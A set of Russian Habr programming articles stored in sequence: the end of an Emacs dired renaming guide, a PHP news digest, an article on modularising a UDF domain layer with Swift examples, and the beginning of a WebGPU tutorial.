*Дополнительная фишка заключается в том, что Emacs запоминает то, что вы вводили в приглашения до этого и достаточно просто перемещаться по истории ввода используя **Alt-p** — назад и **Alt-n** — вперед. Выбрав нужную строку из истории можно ее отредактировать и использовать вновь.*
После этого предлагается ввести выражения для нового имени файла
**Alt-p/Alt-n** работают и здесь.
Мы используем, так называемые, замены (Regular Expression Replacements). Наиболее интересны следующие:
* **\1...\9** — группы, то есть то что в исходном выражении ограничено скобками \( и \) в порядке следования слева — внутрь — направо
* **\&** — то что пришлось на все регулярное выражение (то есть группа 0)
* **\?** — приглашение пользователя к вводу. При каждом переименовании Emacs будет спрашивать, что ему вставить вместо **\?**
При первом переименовании Emacs спросит
Стоит отметить, что переименовываться будут только те файлы из выделенных чье имя соответствует регулярному выражению введенному сразу после **% R**
Можно нажимать **y/n**, соглашаясь или отказываясь переименовывать файл. Emacs перейдет к следующему. Можно нажать **!** (то есть **Shift 1**), заставив Emacs пробежаться по всем отмеченным файлам, либо можно закончить всю операцию по переименованию нажав **q**.
Легко и просто файлы переименованы.
##### Дополнительная Литература
* [Dired Manual](http://www.gnu.org/software/emacs/manual/html_node/emacs/Dired.html)
* [Syntax of Regular Expressions](http://www.gnu.org/software/emacs/manual/html_node/emacs/Regexps.html)
* [Backslash in Regular Expressions](http://www.gnu.org/software/emacs/manual/html_node/emacs/Regexp-Backslash.html#Regexp-Backslash)
* [Regexp Replacement](http://www.gnu.org/software/emacs/manual/html_node/emacs/Regexp-Replace.html#Regexp-Replace)
---
[1] Еще можно использовать так называемый **wdired-change-to-wdired-mode**, но это уже другая история. | https://habr.com/ru/post/99762/ | null | ru | null |
# PHP-Дайджест № 165 (23 сентября – 7 октября 2019)
[](https://habr.com/ru/post/470373/)
Свежая подборка со ссылками на новости и материалы. В выпуске: PHP 7.4.0 RC3, поддержка Composer-зависимостей на GitHub, обновление стандартов PSR, RFC предложения из PHP Internals и о координации проекта PHP, порция полезных инструментов, подкасты, митапы, и многое другое.
Приятного чтения!
### Новости и релизы
* [GitHub добавил поддержку графа зависимостей PHP](https://github.blog/2019-09-18-dependency-graph-supports-php-repos-with-composer-dependencies/) — Файлы composer.json будут автоматически анализироваться на предмет небезопасных зависимостей. а репозитории получать соответствующие пул-реквесты с обновлениями.
* [PHP-FIG нужна ваша помощь для обновления PSR-стандартов!](https://www.php-fig.org/blog/2019/10/upgrading-psr-interfaces/) — Группа PHP-FIG предлагает поэтапное добавление деклараций типов для возвращаемых значений и параметров в уже принятых стандартах PSR. Для того чтоб в современных приложениях можно было пользоваться преимуществами типов, но в то же время оставить стандарты доступными для старых приложений.
* [PHP 7.4.0 RC3](https://externals.io/message/107366) — Очередной релиз-кандидат доставлен по [расписанию](https://wiki.php.net/todo/php74#timetable). Осталось всего 3 RC до выхода PHP 7.4. Тем временем доступно руководство по  [миграции с PHP 7.3.x на PHP 7.4.x](https://www.php.net/manual/ru/migration74.php) – спасибо [lex111](https://habr.com/ru/users/lex111/) за перевод.
* [PHP 7.3.10](https://www.php.net/index.php#id2019-09-26-1), [PHP 7.2.23](https://www.php.net/index.php#id2019-09-26-2) — Исправлены ошибки безопасности, всем пользователям рекомендуется обновиться.
* Ближайшие мероприятия:
+ [19 октября, Ульяновск: Panda Meetup #28 Back-end (PHP)](https://panda-meetup.ru/ulsk-php-meetup)
+ [20 октября, Харьков: ThinkPHP #19](http://nixmulticonf.tilda.ws/thinkphp)
+ [24 октября, Минск: PHP Meetup #30](https://community-z.com/events/php-meetup-30)
+ [24 октября, Санкт-Петербург: Symfony St. Petersburg Meetup #7](https://www.meetup.com/symfoniacs-spb/events/264744562/)
+ [26 октября, Ростов-на-Дону: PHP митап #1](https://php-rnd.timepad.ru/event/1075848/)
+ [26 октября, Киев: Symfony Camp UA 2019](http://2019.symfonycamp.org.ua/)
### PHP Internals
* [[RFC] Object Initializer](https://wiki.php.net/rfc/object-initializer) — Предлагается реализовать синтаксис быстрой инициализации объектов: **Скрытый текст**
```
class Car
{
public int $yearOfProduction;
public string $vin;
}
$car = new Car {
yearOfProduction = 2019,
vin = "1FTFW1CVXAFD54385",
};
$car = new Car {
yearOfProduction = 2019,
}; // throws RuntimeException: Initialization of Car class object failed due to missing required properties
```
Коротко о предложении в [посте автора](https://brzuchal.com/posts/object-initializer-in-php/) и подробнее в подкасте  [PHP Internals News #30](https://phpinternals.news/30) с ним же.
* [[RFC] Reclassifying engine warnings](https://wiki.php.net/rfc/engine_warnings) — Бросаемые нотисы и ворнинги в движке PHP были пересмотрены и по результатам голосования в PHP 8.0 имеем:
• Переменная не определена: будет бросаться Warning;
• Обращение к несуществующему индексу в массиве: Warning;
• Деление на ноль: Исключение, а также [будет добавлена](https://github.com/php/php-src/pull/4769) функция `fdiv()`, допускающая деление на ноль;
• Невалидный аргумент в foreach(): Warning;
• И [все остальные изменения](https://wiki.php.net/rfc/engine_warnings#proposed_classification) прошли голосование и приняты.
Подробнее в подкасте  [PHP Internals News #29](https://phpinternals.news/29) c Никитой Поповым.
* [Координация проекта PHP](https://github.com/Danack/RfcCodex/blob/master/project_coordination.md) — Пока в Internals разгорались [д](https://wiki.php.net/rfc/prevent_disruptions_of_conversations)[р](https://wiki.php.net/rfc/analysis/prevent_disruptions_of_conversations)[а](https://externals.io/message/107079)[мы](https://externals.io/message/107098), кое-что хорошее тоже было. [Dan Ackroyd](https://twitter.com/MrDanack) создал [документ](https://github.com/Danack/RfcCodex/blob/master/project_coordination.md), в котором описаны актуальные задачи и обсуждения проекта. Если вы хотели бы помочь PHP, но не знаете как – этот документ хорошая отправная точка.
### Инструменты
* [cycle/orm](https://github.com/cycle/orm) — Мощная ORM, которую можно использовать и как DataMapper и в стиле [ActiveRecord](https://github.com/cycle/docs/blob/master/advanced/active-record.md). Доступна подробная [документация](https://github.com/cycle/docs).
* [ssx/skrub](https://github.com/ssx/skrub) — Пакет для удаления ненужных файлов в зависимостях, может быть полезно для уменьшения Docker-образов.
* [squizlabs/PHP\_CodeSniffer 3.5.0](https://github.com/squizlabs/PHP_CodeSniffer) — Обновление c полной поддержкой стандарта PSR-12.
* [infection/infection 0.14.0](https://github.com/infection/infection) — Фреймворк для мутационного тестирования. В новой версии 3 новых мутатора, улучшена производительность, снижено потребление памяти, и [другие улучшения](https://infection.github.io/2019/09/20/whats-new-in-0.14.0/).
* [solodkiy/mysql-error-parser](https://github.com/solodkiy/mysql-error-parser) — Библиотека для разбора ошибок MySQL. Прислал [doctorx](https://habr.com/ru/users/doctorx/).
* [alecrabbit/php-console-spinner](https://github.com/alecrabbit/php-console-spinner) — Красивые консольные спиннеры.
### Symfony
* [В Symfony добавлен новый компонент String](https://github.com/symfony/symfony/pull/33553) для работы со строками в объектном стиле.
* [Лучшие практики Symfony](https://symfony.com/doc/current/best_practices.html) теперь все в одном месте.
*  [Геттеры/сеттеры и проблема с инкапсуляцией в Symfony проектах](https://habr.com/ru/post/469323/)
### Laravel
* [spatie/laravel-model-states](https://github.com/spatie/laravel-model-states) — Пакет добавляет поддержку состояния в моделях. Совмещает паттерн state и конечные автоматы.
* [Hunternnm/laravel-roadrunner](https://github.com/Hunternnm/laravel-roadrunner) — Простой мост для работы Laravel и Roadrunner. Прислал [hunternnm](https://habr.com/ru/users/hunternnm/).
* [CI для Laravel 6 на GitHub Actions](https://medium.com/@robertodev/continuous-integration-with-github-actions-and-laravel-6-e6cb9aa5aea9)
*  [DDD — новый хелпер для отладки в Laravel 6](https://laravel.demiart.ru/ddd-a-new-global-helper-for-laravel/)
*  [Сравнение Inertia.js и Livewire](https://laravel.demiart.ru/inertia-vs-livewire/)
*  [Серия роликов о тестировании в Laravel](https://www.youtube.com/playlist?list=PLmwAMIdrAmK7SHlZRwc73GGjQ9AEFGu7g)
*  Laracasts: [Laravel 6 с нуля](https://laracasts.com/series/laravel-6-from-scratch)
### Yii
*  [YIMP — Панель управления для Yii 2 на Bootstrap 4](https://habr.com/ru/post/466505/)
* [Yii 2.0.27, Debug 2.1.9 и прогресс по Yii 3](https://yiiframework.ru/news/250/yii-2027-debug-219-i-progress-po-yii-3), включая интересный [эксперимент](https://forum.yiiframework.com/t/using-cycle-orm/127266) по использованию cycle/orm в качестве БД-слоя.
### Async PHP
* [seregazhuk/php-watcher](https://github.com/seregazhuk/php-watcher) — Пакет для автоматического рестарта PHP-приложений при изменении файлов. Может быть удобен при разработке демонизированных PHP-приложений.
* [clue/reactphp-docker](https://github.com/clue/reactphp-docker) — Асинхронный клиент для Docker Engine API. [Пост](https://clue.engineering/2019/introducing-reactphp-docker) в поддержку.
*  Пишем RESTful API с помощью ReactPHP: [Загрузка картинок](https://www.youtube.com/watch?v=E-suYoGkq-s), [Отдаем статику](https://www.youtube.com/watch?v=YXPo6sOmslQ)
### Материалы для обучения
* Matthias Noback: [Используем phploc для быстрой оценки качества приложения](https://matthiasnoback.nl/2019/09/using-phploc-for-quick-code-quality-estimation-part-1/), [Part 2](https://matthiasnoback.nl/2019/09/using-phploc-for-quick-code-quality-estimation-part-2/)
* [doganoo/PHPAlgorithms](https://github.com/doganoo/PHPAlgorithms) — Подборка популярных алгоритмов из книги «Cracking the Coding Interview» с реализацией на PHP.
* [Самые популярные магические методы в PHP проектах](https://www.exakat.io/most-popular-php-magic-methods/)
* [Подробно о том, что такое абстракции в разработке](https://thevaluable.dev/abstraction_software_development/)
* [gabrielrcouto/awesome-php-ffi](https://github.com/gabrielrcouto/awesome-php-ffi) — Примеры использования FFI из PHP 7.4.
* [Проверка иммутабельности с помощью Psalm](https://psalm.dev/articles/immutability-and-beyond)
* [Больше чем RCE](https://medium.com/swlh/diving-into-unserialize-more-than-rce-d48d371db7da) или несколько способов эксплуатации уязвимостей `unserialize()`.
*  [Четыре столпа PSR](https://elisdn.ru/blog/134/four-pillars-of-psrs)
*  [PHP-библиотеки для e-commerce:](https://habr.com/ru/company/lamoda/blog/466039/) работа с АТОЛ и Payture, парсинг кодов GS1 и другие задачи.
*  [Странные они, статические переменные в PHP](https://habr.com/ru/post/467489/)
*  [PHP Xdebug proxy:](https://habr.com/ru/company/badoo/blog/442504/) когда стандартных возможностей Xdebug не хватает.
*  [Code style как стандарт разработки](https://habr.com/ru/company/manychat/blog/468953/)
*  [PHP, почём абстракции для народа?](https://habr.com/ru/company/funcorp/blog/468021/)
### Аудио/Видео
*  [Грамотное ООП](https://elisdn.ru/blog/135/phprussia-oop) — Видео доклада с PHP Russia 2019
*  [Производительность PHP-бэкенда. Видео с Badoo PHP Meetup #3](https://habr.com/ru/company/badoo/blog/469193/)
*  [Стрим от Derick Rethans](https://www.twitch.tv/derickrethans/video/488389083), в котором он фиксит баг в Xdebug.
*  [PHP Internals News #28](https://phpinternals.news/28) — С [Andreas Heigl](https://twitter.com/heiglandreas) о переносе документации PHP из SVN в Git.
*  [PHP Internals News #27](https://phpinternals.news/27) — С Никитой Поповым о [необходимой помощи](https://externals.io/message/105970#105970) в добавлении типов к внутренним функциям.
*  Пятиминутка PHP:
• [#68 Drupal](https://5minphp.ru/episode68/) — О современном положении дел в популярной CMS системе Drupal.
• [DDD #5 — Value-Objects](https://5minphp.ru/episode69/)
• [DDD #6 — Services & Modules](https://5minphp.ru/episode70/)
• [DDD #7 — Парадигмы моделирования и многоуровневая архитектура](https://5minphp.ru/episode71/)
### Занимательное
* [ElePHPant.me](https://elephpant.me/) — Сайт для обмена слониками.
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 164](https://habr.com/ru/post/466671/) | https://habr.com/ru/post/470373/ | null | ru | null |
# Модуляризация доменного слоя в UDF. Часть I
В одной [из предыдущих статей](https://habr.com/ru/company/indriver/blog/571394/) я рассказал, как в inDriver мы пришли к использованию UDF в своем приложении. Так как приложение inDriver — суперапп с множеством модулей, главными задачами для нашей архитектуры являются масштабирование и модуляризация. Во [второй статье](https://habr.com/ru/company/indriver/blog/576660/) я сконцентрировался на основных проблемах модуляризации UDF и вариантах их решения.
Однако вопрос модуляризации доменной логики заслуживает отдельной статьи. Под катом я рассмотрю, как в UDF можно разбить доменный слой на небольшие независимые части и заставить их работать в рамках одного приложения. Приятного чтения!
Содержание[Что такое домен?](#%D0%B4%D0%BE%D0%BC%D0%B5%D0%BD)
[Домен в UDF](#udf)
[Основные принципы модуляризации](#%D0%BF%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF%D1%8B)
[High Cohesion](#high)
[Low Coupling](#low)
[Заключение](#%D0%B7%D0%B0%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5)
Что такое домен?
----------------
Для начала необходимо определиться с терминами. Модель, доменный слой, доменная логика, бизнес-логика, логика предметной области... В зависимости от контекста эти термины могут использоваться как синонимично, так и для близких друг к другу, но разных вещей. Поэтому, прежде чем модуляризировать домен, нужно определиться, что мы имеем в виду.
На заре коммерческой разработки ПО компьютеры только начинали решать проблемы, стоящие перед частными компаниями. У бирж, банков, страховых компаний есть много процессов, которые стало возможным автоматизировать. У каждого бизнеса есть своя предметная область (domain), в которой существуют конкретные правила, по которым она работает.
Например: как составить заявку на покупку биржевого товара, как рассчитать сумму ипотечного кредита, страховую премию и т.д. Все эти правила переносились в код и стали называться *доменной* или *бизнес-логикой*.
Чтобы отделить доменную логику от логики отображения, получения и хранения данных, ее выделяют в отдельный доменный слой. Часто такой слой называют просто *«модель»*. Такое разделение позволяет легко изменить код рендеринга или переехать на другое хранилище. Слой доменной логики при этом не меняется.
Но с развитием области коммерческого ПО стало сложнее понимать, какую именно часть кода можно назвать доменной логикой. Во-первых, технологии и бизнес начали переплетаться все сильнее. Появились отрасли, которые практически не связаны с физическим миром. Операционные системы, регистраторы доменных имен, социальные сети. Все они сильно связаны с технологиями. И понять, какой код имеет отношение непосредственно к бизнесу, а какой к технологиям становится все сложнее.
Во-вторых, с развитием интернета произошло разделение продукта на бэкенд и фронтенд. Теперь во многих приложениях большая часть доменной логики выполняется на сервере. В такой ситуации сложно сказать, какая часть клиентского кода представляет собой доменную логику, а какая просто готовит данные для отправки на сервер. Некоторые клиенты могут и вовсе не содержать доменной логики, а просто отображать данные, полученные с сервера.
Чтобы избежать всех этих путаниц, в рамках статьи будем придерживаться эвристического правила: *доменной логикой называется тот код, который мы можем объяснить бизнесу*. Бизнес не знает, какими мы пользуемся фреймворками, как храним и передаем данные, как верстаем экран. Но зато бизнес знает, как понять, что номер карты валидный или что корзина пользователя сохранится и будет доступна при следующем входе.
Важно понимать, что это не точное определение термина, а критерий того, что имеет смысл положить в доменный слой. Если вы не можете объяснить человеку из бизнеса, что делает конкретный кусок кода и зачем он нужен, велика вероятность, что этому коду не место в доменном слое. Приведу конкретные примеры:
| |
| --- |
| **Непонятно:** Сервис через Alamofire делает запрос к «appname.com/api/user», а затем парсит ответ в DTO.**Понятно:** С сервера приходят данные пользователя. |
| **Непонятно:** ListViewController по нажатию на ячейку таблицы пушит DetailViewController.**Понятно:** Если на экране списка товаров пользователь нажмет на товар, он перейдет к экрану с деталями этого товара. |
| **Непонятно:** По нажатию на UIButton делаем запрос к «appname.com/api/purchase» и передаем доступные параметры.**Понятно:** По нажатию на кнопку «Купить» отправляем на сервер доступные товары. |
Не сомневаюсь в вашей способности объяснять сложные технические концепции бизнесу. Но важно обратить внимание, что в пунктах «Понятно» они, в большинстве своем, отсутствуют. Рассмотрим, как такой подход к домену применим в UDF.
Домен в UDF
-----------
Практики эффективного моделирования доменного слоя со временем вылились в философию [Domain-Driven Design](https://www.amazon.com/Domain-Driven-Design-Tackling-Complexity-Software/dp/0321125215). Однако эти принципы были сформулированы в рамках объектно-ориентированной парадигмы. Unidirectional Data Flow (UDF) основан на принципах функционального программирования, поэтому нам придется посмотреть на проектирование домена с другой стороны.
В UDF вместо классов для формирования доменного слоя используются следующие сущности:
* **State** — для описания текущего состояния приложения.
* **Action** — для описания входящих событий.
* **Reducer** — для обновления стейта.
Вернемся к примерам доменной логики из предыдущего раздела и посмотрим, как их можно реализовать в рамках UDF:
**С сервера приходят данные пользователя**
```
struct User {
var firstName: String
var lastName: String
//...
}
enum UserServiceActions {
case userDidLoad(User)
}
func reduce(state: inout User, action: UserServiceActions) {
switch action {
case let .userDidLoad(user):
state = user
}
}
```
Обратите внимание, что данный код не содержит никакой конкретики касательно того, откуда и как пришли данные пользователя. Эти детали находятся за пределами доменного слоя.
**Если на экране списка товаров пользователь нажмет на товар, он перейдет к экрану с деталями этого товара**
```
struct State {
var items: [UUID: Item]
var selectedItemID: UUID
var detailsScreenOpened = false
}
enum ItemsListActions {
case didSelectItem(UUID)
}
func reduce(state: inout State, action: ItemsListActions) {
switch action {
case let .didSelectItem(id):
state.selectedItemID = id
state.detailsScreenOpened = true
}
}
```
Этот код содержит условие для перехода на другой экран: *detailsScreenOpened* поменяется на *true*, когда пользователь нажмет на элемент списка. При этом код не содержит деталей реализации перехода. Это может быть *present*, а может *push*. Это даже может быть *SwiftUI*, а не *UIKit*. Такой код является декларативным, так как говорит, что должно произойти, но не как.
**По нажатию на кнопку «Купить» отправляем на сервер доступные товары**
```
struct State {
var items: [UUID: Item]
var status: Status
}
enum ItemsListActions {
case saveButtonDidTap
}
func reduce(state: inout State, action: ItemsListActions) {
switch action {
case .saveButtonDidTap:
let availableItems = state.items.values
.map { $0 }
.filter { $0.isAvailable }
state.status = .saving(availableItems)
}
}
```
Данный код объединяет в себе получение события из UI, фильтрацию товаров и сохранение. Чтобы встроить его в приложение достаточно реализовать UI-слой, который будет отправлять событие *saveButtonDidTap*и network-слой, который будет подписываться на статус и по состоянию *.saving* отправлять товары на сервер.
Перечислим **плюсы и минусы** такого подхода к проектированию доменного слоя:
**+ Декларативное описание**. Декларативный код не содержит деталей реализации и позволяет бизнесу быстрее понять, что происходит.
**+ Просто подменить один фреймворк на другой**. Мы легко можем поменять фреймворк для UI, хранения или работы с сетью, и это никак не повлияет на доменный слой.
**+ Легко тестировать**. Нам не нужно мокать никакие зависимости — их просто нет.
**+ Не нужны протоколы**. Это означает, что нам не нужны моки в доменном слое. Юнит-тесты сводятся к вызову редюсера и валидации полученного стейта.
**- Непонятно, как масштабировать**. При росте проекта без должного внимания к модуляризации, доменный слой постепенно превращается в нечитаемое нагромождение редюсеров. Экшены летят со всех направлений, кто и где их обрабатывает понять трудно. В следующем пункте подробнее разберем принципы модуляризации.
Основные принципы модуляризации
-------------------------------
В разных источниках приводятся различные принципы проектирования ПО: *SOLID*, *KISS*, *YAGNI*, *GRASP* и т.д. Но в контексте модуляризации я бы хотел сосредоточиться на двух: *Low Coupling* и *High Cohesion*.
Принцип Low Coupling (слабая связанность) говорит о том, что разные модули должны иметь как можно меньше связей между собой. Это улучшает понимание логики модулей, упрощает их модификацию и тестирование, позволяет легко переиспользовать модули по отдельности.
Принцип High Cohesion (сильная сцепленность) говорит о том, что все элементы модуля должны быть хорошо сфокусированы на цели модуля. Например, если цель — хранить данные пользователя и предоставлять способы их изменения, то из такого модуля следует исключить хранение или создание заказов.
Принципы звучат достаточно абстрактно, что может усложнить их понимание. Но это лишь потому, что они не привязаны к конкретной парадигме. Принципы могут применяться как в объектно-ориентированном (ООП), так и в процедурном или функциональном программировании.
Рассмотрим, как их можно применить для UDF. Думаю, большинство из вас знакомы с парадигмой объектно-ориентированного программирования. Ниже я буду приводить аналогии из мира ООП. Начнем с Cohesion.
High Cohesion
-------------
Этот принцип говорит о сцепленности модуля. В случае ООП модулем является класс. У класса есть свойства и методы. Класс мы стараемся формировать так, чтобы он решал одну конкретную задачу. В целом, принцип схож с принципом единственной ответственности из SOLID.
В случае UDF модулем является совокупность стейтов, редюсеров и экшенов. Рассмотрим пример модуля, ответственность которого размыта:
```
struct State {
var user: User
var items: [UUID: Item]
var selectedItemID: UUID
}
enum Actions {
case userDidLoad(User)
case didSelectItem(UUID)
}
func reduce(state: inout State, action: Actions) {
switch action {
case let .userDidLoad(user):
state.user = user
case let .didSelectItem(id):
state.selectedItemID = id
}
}
```
Этот модуль одновременно отвечает и за пользователя, и за товары. У такого решения есть ряд проблем:
1. Модуль сложен для чтения. Конечно, пока у него всего 2 ответственности, проблема не выражена так ярко. Но чем больше у модуля будет ответственностей, тем сложнее в нем разбираться.
2. Если мы захотим переиспользовать логику работы с пользователем, нам придется тащить за собой и логику работы с товарами.
3. Любой редюсер, который располагается на уровень выше, может поменять все в нашем стейте, но внутри нашего модуля мы об этом не узнаем:
```
struct ParentState {
var childState: State
//...
}
func reduce(state: inout ParentState, action: Actions) {
reduce(state: &state.childState, action: action)
state.childState.user.firstName = "John"
}
```
Первая и вторая проблема решается обычным разбиением на 2 модуля, как это реализовано в примерах 1 и 2 в разделе [«Домен в UDF»](#udf).
Третья проблема напрямую связана с понятием инкапсуляции. Инкапсуляция обеспечивает сокрытие данных и логики внутри модуля. В случае ООП мы можем контролировать доступность свойств и методов класса с помощью модификаторов уровня доступа. Например, публичные свойства и методы объявляются с модификатором *public*, а приватные с *private*.
В UDF мы также можем реализовать инкапсуляцию через модификаторы доступа. Для этого мы реализуем state и reducer в рамках одного файла, а свойства стейта помечаем модификатором *fileprivate*:
```
//User.swift
struct User {
fileprivate var firstName: String
fileprivate var lastName: String
}
func reduce(state: inout User, action: Actions) {
switch action {
case let .userDidLoad(user):
//Можем легко поменять имя
state.firstName = user.firstName
}
}
//State.Swift
struct State {
var user: User
}
func reduce(state: inout State, action: Actions) {
reduce(state: &state.user, action: action)
//Ошибка: Cannot assign to property: 'firstName' setter is inaccessible
state.user.firstName = "John"
}
```
Если же в рамках модуля нам нужно инкапсулировать какую-то логику, можно использовать публичные функции, которые наравне с редюсером вызываются извне:
```
//Order.swift
struct Order {
fileprivate var status: OrderStatus
//...
}
//...Action и Reducer...//
public func updateStatus(order: inout Order, status: OrderStatus) {
//инкапсулируем логику обновления статуса
switch (order.status, status) {
case (.initial, inProgress): order.status = status
default: return
}
}
//State.swift
structState {
var order: Order
}
func reduce(state: inout FeatureState, action: Action) {
reduce(state: &state.order, action: action)
//обновляем статус
updateStatus(order: &state.order, status: .inProgress)
}
```
Как видим, те требования, которые в ООП накладываются на класс, справедливы и для модуля UDF. Далее рассмотрим, как организовать взаимодействие между модулями.
Low Coupling
------------
Принцип говорит о минимизации связей между модулями. В случае ООП у нас есть протоколы, которые позволяют перенести зависимость от конкретного класса на зависимость от абстракции. Доменный слой UDF не предусматривает использование протоколов, поэтому необходимы другие способы избавления от зависимостей. Также из-за особенностей обновления состояния некоторые подходы в UDF могут показаться контринтуитивными.
Рассмотрим пример. Есть 2 модуля. Один отвечает за водителя такси, второй за заказ. На одном из экранов есть кнопка «Беру заказ». По нажатию на нее мы должны изменить статус заказа и присвоить его водителю. Модули водителя и заказа не зависят друг от друга, поэтому кажется правильным абстрагироваться от факта нажатия на кнопку, а просто иметь 2 абстрактных события, каждое из которых объявлено в своем модуле:
```
//Driver.swift
struct Driver {
fileprivate var selectedOrderID: UUID
//...
}
enum DriverActions {
case orderDidSelect(UUID)
}
func reduce(state: inout User, action: DriverActions) {
switch action {
case let .orderDidSelect(selectedOrderID):
state.selectedOrderID = selectedOrderID
}
}
//Order.swift
struct Order {
fileprivate var status: OrderStatus
//...
}
enum OrderActions {
case orderDidSelect
}
func reduce(state: inout Order, action: OrderActions) {
switch action {
case .orderDidSelect:
state.status = .inProgress
}
}
```
Тогда по нажатию на кнопку мы бы просто отправили 2 события:
```
//OrderViewController.swift
//...
func pickButtonTapped() {
store.dispatch(OrderActions.orderDidSelect)
store.dispatch(UserActions.orderDidSelect(id))
}
//...
```
У такого подхода есть 2 недостатка:
1. **Рассинхронизация стейта**. Между обработкой первого события и отправкой второго стейт приложения будет рассинхронизирован. Заказ будет в состоянии «В процессе», но он еще не назначен водителю. Бизнес-логика приложения не подразумевает такой ситуации, поэтому состояние может привести к ошибкам. Желательно не допускать невозможных состояний. Иногда для решения такой проблемы применяется batch dispatch, который позволяет обработать сразу несколько экшенов, прежде чем уведомлять подписчиков об изменении состояния. Но такой подход не решает вторую проблему.
2. **Производительность**. В приложении может быть много редюсеров. И поиск нужного может занять время. Конечно, есть способы оптимизировать этот процесс, но на каждый экшен нужно заново искать соответствующий редюсер. При большом количестве экшенов можно сильно просесть по производительности. При этом подписчики будут слишком долго ждать, пока весь стейт обновится.
Одним из решений будет оставить экшен в одном модуле. Второй модуль тоже будет его обрабатывать. Например, оставим экшен в модуле водителя. В таком случае получим такую схему зависимостей:
Это не очень хорошо, так как между модулями появилась лишняя зависимость. В качестве альтернативы можно вынести общий экшен в отдельный модуль:
Теперь модули не зависят друг от друга. Но если мы захотим переиспользовать модуль водителя или заказа, придется захватить с собой еще и модуль *CommonAction*. Более того, в модуле *CommonAction* мы нарушаем принцип High Cohesion, так как он не решает никакой конкретной бизнес-задачи сам по себе.
В целом, подход со временем может привести к огромному количеству хаотичных зависимостей, которые будет трудно распутать:
Рассмотрим второе решение. Сделаем так, чтобы ни модуль водителя, ни модуль заказа не знали о событии кнопки «Беру заказ». Переведем обработку этого экшена в родительский модуль:
```
//Feature.swift
struct FeatureState {
var driver: Driver
var order: Order
}
enum FeatureActions: Action {
//1
case takeOrderDidTap(UUID)
}
func reduce(state: inout FeatureState, action: Action) {
//2
reduce(state: &state.driver, action: action)
reduce(state: &state.order, action: action)
//3
if case let FeatureActions.takeOrderDidTap(selectedOrderID) = action {
state.driver.selectedOrderID = selectedOrderID
updateStatus(order: &state.order, status: .inProgress)
}
}
//Order.swift
struct Order {
fileprivate var status: OrderStatus
//...
}
//...Action и Reducer...//
//4
public func updateStatus(order: inout Order, status: OrderStatus) {
switch (order.status, status) {
case (.initial, inProgress): order.status = status
default: return
}
}
```
Что здесь происходит:
1. Объявляем *Action* нажатия на кнопку внутри модуля *Feature*.
2. Внутри редюсера фичи вызываем все дочерние редюсеры.
3. В редюсере *Feature* обрабатываем экшен кнопки.
4. Для модуля *Order* используем функцию *updateStatus*, чтобы обновить статус и не нарушить инкапсуляцию модуля.
Получаем схему:
При таком подходе модуль *Driver* и модуль *Order* ничего не знают друг о друге. Их взаимодействие обеспечивает родительский модуль *Feature*, в рамках которого как раз и описана логика обработки нажатия кнопки. Аналогом данного подхода в мире ООП можно назвать шаблон Mediator.
Если мы попробуем масштабировать такой подход, получим схему, в которой родительские модули знают только о дочерних и отвечают за их взаимодействие между собой:
Такая схема позволяет минимизировать количество связей между модулями, тем самым реализуя принцип Low Coupling. При этом мы не создаем лишних объектов со слабой связанностью и не влияем на консистентность данных или скорость работы редюсеров.
Заключение
----------
Как показала практика, проектирование домена в UDF концептуально не отличается от проектирования домена в ООП. Принципы Low Coupling и High Cohesion помогают эффективно разбить код на модули и продумать, как соединить их между собой. Однако функциональная природа UDF-модулей имеет свои особенности, которые важно учитывать при проектировании доменного слоя. В следующей статье сконцентрируюсь на отличиях и постараюсь разобрать их более детально.
Ссылки
------
[Eric Evans, Domain-Driven Design: Tackling Complexity in the Heart of Software](https://www.amazon.com/Domain-Driven-Design-Tackling-Complexity-Software/dp/0321125215)
[Debasish Ghosh, Functional and Reactive Domain Modeling](https://www.manning.com/books/functional-and-reactive-domain-modeling)
<https://en.wikipedia.org/wiki/Coupling_(computer_programming)>
<https://en.wikipedia.org/wiki/Cohesion_(computer_science)>
[https://redux.js.org/usage/structuring-reducers/refactoring-reducer-example](https://redux.js.org/usage/structuring-reducers/refactoring-reducer-example#separating-data-handling-by-domain) | https://habr.com/ru/post/594795/ | null | ru | null |
# Разработка WebGPU-приложений
WebGPU — это один из современных [API](https://alain.xyz/blog/comparison-of-modern-graphics-apis), предназначенных для работы с компьютерной графикой. Среди других подобных API можно отметить Vulkan, DirectX 12 и Metal. То, что в сфере веб-графики появляются подобные решения, даёт пользователям веб-приложений те же возможности, которые есть у пользователей обычных приложений. А именно, это повышение скорости работы программ благодаря использованию видеоускорителей, это сокращение числа проблем, вызываемых графическими драйверами, это появление новых возможностей веб-приложений. Подобные возможности могут опираться как на расширенные функции браузеров, так и на [спецификацию](https://gpuweb.github.io/gpuweb/).
[](https://habr.com/ru/company/ruvds/blog/485644/)
Надо сказать, что сейчас разработка под WebGPU — это занятие не для слабонервных. Это — один из самых сложных графических API, доступных в вебе. Но неудобства, связанные с разработкой, сглаживает то, что применение WebGPU означает рост производительности, и то, что это — стандарт, а значит можно рассчитывать на то, что в будущем он никуда не денется. Обратите внимание на то, что спецификация WebGPU всё ещё находится в разработке. Поэтому то, о чём пойдёт речь ниже, со временем может измениться.
Здесь мы, осваивая возможности WebGPU, займёмся разработкой приложения Hello Triangle на TypeScript.
Вот [репозиторий](https://github.com/alaingalvan/webgpu-seed), в котором можно найти всё необходимое для начала работы с WebGPU.
Подготовка к работе
-------------------
Для того чтобы подготовиться к разработке WebGPU-приложений, нужно установить следующее:
* Canary-сборку любого браузера, основанного на Chromium (например — [Microsoft Edge](https://www.microsoftedgeinsider.com/en-us/download) или [Google Chrome](https://www.google.com/chrome/canary/)). Установив браузер, нужно посетить страницу `://flags` (например — `chrome://flags` или `edge://flags`) и включить флаг `unsafe-webgpu`.
* [Git](https://git-scm.com/)
* [Node.js](https://nodejs.org/en/)
* Какой-нибудь редактор кода, вроде [VS Code](https://code.visualstudio.com/)
Затем в любом терминале, да хотя бы во встроенном терминале VS Code, нужно ввести следующие команды:
```
# Клонировать репозиторий
git clone https://github.com/alaingalvan/webgpu-seed
# Перейти в папку
